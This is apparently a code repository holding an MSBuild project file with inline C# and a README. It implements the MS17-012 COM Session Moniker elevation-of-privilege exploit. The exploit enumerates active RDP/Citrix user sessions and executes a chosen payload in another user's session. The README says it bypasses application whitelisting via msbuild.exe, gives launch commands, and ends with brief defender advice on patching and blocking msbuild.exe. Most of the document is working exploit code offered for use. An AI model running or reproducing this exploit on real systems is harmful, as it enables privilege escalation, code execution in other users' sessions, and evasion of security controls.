├── MS17-012.csproj └── README.md /MS17-012.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 17 | 18 | 19 | 20 | GetSessionIds() 128 | { 129 | List sids = new List(); 130 | IntPtr hServer = IntPtr.Zero; 131 | IntPtr pSessions = IntPtr.Zero; 132 | int dwSessionCount = 0; 133 | try 134 | { 135 | if (WTSEnumerateSessions(hServer, 0, 1, out pSessions, out dwSessionCount)) 136 | { 137 | IntPtr current = pSessions; 138 | for (int i = 0; i < dwSessionCount; ++i) 139 | { 140 | IntPtr pAddress = IntPtr.Zero; 141 | string sUserName = string.Empty; 142 | string sDomain = string.Empty; 143 | uint iReturned = 0; 144 | 145 | WTS_SESSION_INFO session_info = (WTS_SESSION_INFO)Marshal.PtrToStructure(current, typeof(WTS_SESSION_INFO)); 146 | int current_session_id = Process.GetCurrentProcess().SessionId; 147 | 148 | if (session_info.State == WTS_CONNECTSTATE_CLASS.WTSActive) 149 | { 150 | if (session_info.SessionId != 0 && session_info.SessionId != current_session_id) 151 | //if (session_info.SessionId != 0) 152 | { 153 | //Get the Domain Name of the Terminal Services User 154 | if (WTSQuerySessionInformation(hServer, session_info.SessionId, WTS_INFO_CLASS.WTSDomainName, out pAddress, out iReturned) == true) 155 | { 156 | sDomain = Marshal.PtrToStringAnsi(pAddress); 157 | } 158 | 159 | //Get the User Name of the Terminal Services User 160 | if (WTSQuerySessionInformation(hServer, session_info.SessionId, WTS_INFO_CLASS.WTSUserName, out pAddress, out iReturned) == true) 161 | { 162 | sUserName = Marshal.PtrToStringAnsi(pAddress); 163 | } 164 | 165 | Console.ForegroundColor = ConsoleColor.Yellow; 166 | Console.WriteLine(" [*] Session ID : " + session_info.SessionId); 167 | Console.WriteLine(" [*] User Name : " + sDomain + @"\" + sUserName); 168 | Console.ResetColor(); 169 | Console.WriteLine(); 170 | 171 | sids.Add(session_info.SessionId); 172 | } 173 | } 174 | current += Marshal.SizeOf(typeof(WTS_SESSION_INFO)); 175 | } 176 | } 177 | } 178 | finally 179 | { 180 | if (pSessions != IntPtr.Zero) 181 | { 182 | WTSFreeMemory(pSessions); 183 | } 184 | } 185 | 186 | return sids; 187 | } 188 | 189 | public static void Main() 190 | { 191 | try 192 | { 193 | int current_session_id = Process.GetCurrentProcess().SessionId; 194 | int new_session_id = 0; 195 | string URI = string.Empty; 196 | Console.Clear(); 197 | Console.WriteLine(" [+] Enumerating Active User Sessions..."); 198 | Console.WriteLine(); 199 | 200 | IEnumerable sessions = GetSessionIds().Where(id => id != current_session_id); 201 | //IEnumerable sessions = GetSessionIds(); 202 | 203 | if (sessions.Count() == 0) 204 | { 205 | Console.ForegroundColor = ConsoleColor.Red; 206 | Console.WriteLine(" [!] No Active User Sessions Found"); 207 | Console.ResetColor(); 208 | return; 209 | } 210 | 211 | Console.WriteLine(" [+] Enter a SessionID in which you want to execute your Payload:"); 212 | Console.Write(" [>] "); 213 | Console.ForegroundColor = ConsoleColor.Green; 214 | new_session_id = int.Parse(Console.ReadLine()); 215 | Console.ResetColor(); 216 | 217 | Console.WriteLine(" [+] Now enter the Payload you want to execute in this Session (e.g. C:\\Temp\\Payload.bat):"); 218 | Console.Write(" [>] "); 219 | 220 | while (true) 221 | { 222 | try 223 | { 224 | Console.ForegroundColor = ConsoleColor.Green; 225 | URI = Console.ReadLine(); 226 | Console.ResetColor(); 227 | if (!File.Exists(URI)) 228 | { 229 | Console.WriteLine(" [!] That Payload does not exist, Please Try Again:"); 230 | Console.Write(" [>] "); 231 | Console.ForegroundColor = ConsoleColor.Green; 232 | Console.ResetColor(); 233 | } 234 | else 235 | { 236 | break; 237 | } 238 | } 239 | catch 240 | { 241 | Console.WriteLine(" [!] That Payload does not exist, Please Try Again:"); 242 | Console.Write(" [>] "); 243 | Console.ForegroundColor = ConsoleColor.Green; 244 | Console.ResetColor(); 245 | } 246 | } 247 | 248 | Console.WriteLine(); 249 | Console.WriteLine(" [+] Creating Process in Session {0} after 20 Seconds...", new_session_id); 250 | Thread.Sleep(20000); 251 | IHxHelpPaneServer server = (IHxHelpPaneServer)Marshal.BindToMoniker(String.Format("session:{0}!new:8cec58ae-07a1-11d9-b15e-000d56bfe6ee", new_session_id)); 252 | 253 | Uri target = new Uri(URI); 254 | server.Execute(target.AbsoluteUri); 255 | } 256 | catch (Exception ex) 257 | { 258 | Console.WriteLine(ex); 259 | } 260 | } 261 | } 262 | ]]> 263 | 264 | 265 | 266 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ### MS17-012 - COM Session Moniker EoP Exploit running within MSBuild.exe 2 | 3 | Slightly modified version of James Forshaw's COM Session Moniker Exploit (MS17-012), which can be run within MSBuild.exe and can be used to Bypass Application Whitelisting solutions. 4 | This version of the exploit enumerates Active User sessions on a system (RDP/Citrix) and lets you choose in which user session you want to execute a custom Payload. 5 | 6 | License: BSD 3-Clause 7 | 8 | Save This File And Execute The Following Command: 9 | 10 | ``` 11 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe C:\Scripts\MS17-012.csproj 12 | 13 | Or 14 | 15 | C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe C:\Scripts\MS17-012.csproj 16 | ``` 17 | 18 | Author and founder of the MSBuild Application Whitelisting Bypass code: Casey Smith, Twitter: @subTee 19 | More Info: http://subt0x10.blogspot.nl/2016/09/bypassing-application-whitelisting.html 20 | 21 | Author and founder of the COM Session Moniker EoP Exploit: James Forshaw, Twitter: @tiraniddo 22 | More Info: https://bugs.chromium.org/p/project-zero/issues/detail?id=1021 23 | 24 | ### Advice for BlueTeams 25 | 26 | * First make sure you apply the MS17-012 security patches. 27 | * Use Applocker or Device Guard to block these kind of Attacks and make sure you monitor/block trusted binaries like msbuild.exe --------------------------------------------------------------------------------